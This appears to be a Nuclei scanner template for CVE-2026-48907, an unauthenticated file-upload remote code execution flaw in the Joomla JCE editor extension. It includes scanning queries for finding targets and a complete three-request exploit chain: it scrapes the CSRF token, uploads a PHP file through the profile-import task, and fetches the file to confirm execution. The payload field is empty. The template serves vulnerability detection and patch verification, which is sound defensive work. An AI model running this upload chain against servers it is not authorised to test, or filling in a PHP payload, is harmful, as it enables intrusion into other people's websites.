id: CVE-2026-48907 info: name: Joomla! JCE extension < 2.9.99.5 unauthenticated RCE author: ywh-jfellus severity: critical description: | Joomla JCE editor extension contains an unrestricted file upload vulnerability caused by allowing unauthenticated users to create new editor profiles, letting attackers upload and execute PHP code remotely, exploit requires no authentication. impact: | Unauthenticated attackers can upload and execute arbitrary PHP code, leading to full remote code execution on the server. remediation: | Update to the latest version of the JCE editor extension. reference: - https://nvd.nist.gov/vuln/detail/CVE-2026-48907 - https://github.com/advisories/GHSA-c3f5-4g7f-qjqj - https://www.joomlacontenteditor.net/support/changelog/editor - https://github.com/ywh-jfellus/CVE-2026-48907 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 10.0 cve-id: CVE-2026-48907 epss-score: 0.00836 epss-percentile: 0.52769 cwe-id: CWE-284 metadata: verified: true max-request: 3 vendor: joomlacontenteditor product: jce shodan-query: http.component:"Joomla" fofa-query: app="Joomla" tags: cve,cve2026,joomla,jce,rce,unauth,intrusive,unauth,vkev variables: payload: "" tmp_file: "{{'nuclei-' + md5(Hostname + 'phuJ4OoP')}}.xml.php" flow: http(1) && http(2) && http(3) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - "status_code == 200" - 'contains(body, "Joomla")' - 'contains(body, "csrf.token")' condition: and internal: true extractors: - type: regex name: csrf_token part: body group: 1 internal: true regex: - '"csrf\.token"\s*:\s*"([a-f0-9]{32})"' - raw: - | POST /index.php?option=com_jce HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=66dea244639dd05378afdad58c2c9c1d --66dea244639dd05378afdad58c2c9c1d Content-Disposition: form-data; name="task" profiles.import --66dea244639dd05378afdad58c2c9c1d Content-Disposition: form-data; name="{{csrf_token}}" 1 --66dea244639dd05378afdad58c2c9c1d Content-Disposition: form-data; name="profile_file"; filename="{{tmp_file}}" Content-Type: application/xml {{payload}} --66dea244639dd05378afdad58c2c9c1d-- matchers: - type: dsl dsl: - "status_code == 200" - 'contains(body, "success")' condition: and internal: true - raw: - | GET /tmp/{{tmp_file}} HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - "3105" - type: status status: - 200 # digest: 4b0a00483046022100b3af009ac5460bfe9e9796cf7dee8a49c109020d0c0e82c2cea150b3f10201e7022100c7768bbf8bb21bf32f2a0e21b3e7fad5984dbcc9cb97422cac4c6e7a980d9137:922c64590222798bb761d5b6d8e72950